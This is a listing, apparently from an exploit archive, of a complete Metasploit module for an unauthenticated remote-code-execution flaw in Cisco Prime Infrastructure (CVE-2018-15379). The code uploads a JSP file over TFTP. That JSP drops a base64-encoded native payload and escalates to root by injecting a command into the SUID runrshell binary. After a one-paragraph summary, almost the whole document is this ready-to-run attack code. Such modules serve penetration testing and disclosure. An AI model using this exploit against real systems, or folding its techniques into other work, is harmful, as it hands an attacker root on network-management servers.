Cisco Prime Infrastructure Unauthenticated Remote Code Execution

Cisco Prime Infrastructure (CPI) contains two basic flaws that when exploited allow an unauthenticated attacker to achieve remote code execution. The first flaw is a file upload vulnerability that allows the attacker to upload and execute files as the Apache Tomcat user; the second is a privilege escalation to root by bypassing execution restrictions in a SUID binary. This Metasploit module exploits these vulnerabilities to achieve unauthenticated remote code execution as root on the CPI default installation. This Metasploit module has been tested with CPI 3.2.0.0.258 and 3.4.0.0.348. Earlier and later versions might also be affected, although 3.4.0.0.348 is the latest at the time of writing. The file upload vulnerability should have been fixed in versions 3.4.1 and 3.3.1 Update 02.


MD5 | 2c9170145359581c4c8d1c13f564bce3

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Cisco Prime Infrastructure Unauthenticated Remote Code Execution',
'Description' => %q{
Cisco Prime Infrastructure (CPI) contains two basic flaws that when exploited allow
an unauthenticated attacker to achieve remote code execution. The first flaw is a file
upload vulnerability that allows the attacker to upload and execute files as the Apache
Tomcat user; the second is a privilege escalation to root by bypassing execution restrictions
in a SUID binary.

This module exploits these vulnerabilities to achieve unauthenticated remote code execution
as root on the CPI default installation.

This module has been tested with CPI 3.2.0.0.258 and 3.4.0.0.348. Earlier and later versions
might also be affected, although 3.4.0.0.348 is the latest at the time of writing.
The file upload vulnerability should have been fixed in versions 3.4.1 and 3.3.1 Update 02.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2018-15379' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2018/Oct/19'],
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-prime-infrastructure.txt' ],
[ 'URL', 'https://blogs.securiteam.com/index.php/archives/3723' ],
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181003-pi-tftp' ]
],
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[
[ 'Cisco Prime Infrastructure < 3.4.1 & 3.3.1 Update 02', {} ]
],
'Privileged' => true,
'DefaultOptions' => { 'WfsDelay' => 10 },
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 04 2018'
))

register_options(
[
OptPort.new('RPORT', [true, 'The target port', 443]),
OptPort.new('RPORT_TFTP', [true, 'TFTPD port', 69]),
OptBool.new('SSL', [true, 'Use SSL connection', true]),
OptString.new('TARGETURI', [ true, "swimtemp path", '/swimtemp'])
])
end


def check
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'swimtemp'),
'method' => 'GET'
})

unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end

if res.code == 404 && res.body.length == 0
# at the moment this is the best way to detect
# a 404 in swimtemp only returns the error code with a body length of 0,
# while a 404 to another webapp or to the root returns code plus a body with content
return CheckCode::Detected
end

CheckCode::Safe
end


def upload_payload(payload)
lport = datastore['LPORT'] || (1025 + rand(0xffff-1025))
lhost = datastore['LHOST'] || "0.0.0.0"
remote_file = rand_text_alpha(5..16) + '.jsp'

tftp_client = Rex::Proto::TFTP::Client.new(
"LocalHost" => lhost,
"LocalPort" => lport,
"PeerHost" => rhost,
"PeerPort" => datastore['RPORT_TFTP'],
"LocalFile" => "DATA:#{payload}",
"RemoteFile" => remote_file,
"Mode" => 'octet',
"Context" => {'Msf' => self.framework, 'MsfExploit' => self},
"Action" => :upload
)
print_status "Uploading TFTP payload to #{rhost}:#{datastore['TFTP_PORT']} as '#{remote_file}'"
tftp_client.send_write_request

remote_file
end

def generate_jsp_payload
exe = generate_payload_exe
base64_exe = Rex::Text.encode_base64(exe)

native_payload_name = rand_text_alpha(3..9)

var_raw = rand_text_alpha(3..11)
var_ostream = rand_text_alpha(3..11)
var_pstream = rand_text_alpha(3..11)
var_buf = rand_text_alpha(3..11)
var_decoder = rand_text_alpha(3..11)
var_tmp = rand_text_alpha(3..11)
var_path = rand_text_alpha(3..11)
var_tmp2 = rand_text_alpha(3..11)
var_path2 = rand_text_alpha(3..11)
var_proc2 = rand_text_alpha(3..11)

var_proc1 = rand_text_alpha(3..11)
chmod = %Q|
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path} + " " + #{var_path2});
Thread.sleep(200);
|

var_proc3 = Rex::Text.rand_text_alpha(3..11)
cleanup = %Q|
Thread.sleep(200);
Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path} + " " + #{var_path2});
|

jsp = %Q|
<%@page import="java.io.*"%>
<%@page import="sun.misc.BASE64Decoder"%>
<%
try {
String #{var_buf} = "#{base64_exe}";
BASE64Decoder #{var_decoder} = new BASE64Decoder();
byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());

File #{var_tmp} = File.createTempFile("#{native_payload_name}", ".bin");
String #{var_path} = #{var_tmp}.getAbsolutePath();

BufferedOutputStream #{var_ostream} =
new BufferedOutputStream(new FileOutputStream(#{var_path}));
#{var_ostream}.write(#{var_raw});
#{var_ostream}.close();

File #{var_tmp2} = File.createTempFile("#{native_payload_name}", ".sh");
String #{var_path2} = #{var_tmp2}.getAbsolutePath();

PrintWriter #{var_pstream} =
new PrintWriter(new FileOutputStream(#{var_path2}));
#{var_pstream}.println("!#/bin/sh");
#{var_pstream}.println("/opt/CSCOlumos/bin/runrshell '\\" && " + #{var_path} + " #'");
#{var_pstream}.close();
#{chmod}

Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path2});
#{cleanup}
} catch (Exception e) {
}
%>
|

jsp = jsp.gsub(/\n/, '')
jsp = jsp.gsub(/\t/, '')
jsp = jsp.gsub(/\x0d\x0a/, "")
jsp = jsp.gsub(/\x0a/, "")

return jsp
end


def exploit
jsp_payload = generate_jsp_payload

jsp_name = upload_payload(jsp_payload)

# we land in /opt/CSCOlumos, so we don't know the apache directory
# as it changes between versions... so leave this commented for now
# ... and try to find a good way to clean it later
print_warning "#{jsp_name} must be manually removed from the Apache in /opt/CSCOlumos"
# register_files_for_cleanup(jsp_name)

print_status("#{peer} - Executing payload...")
send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], jsp_name),
'method' => 'GET'
})

handler
end
end

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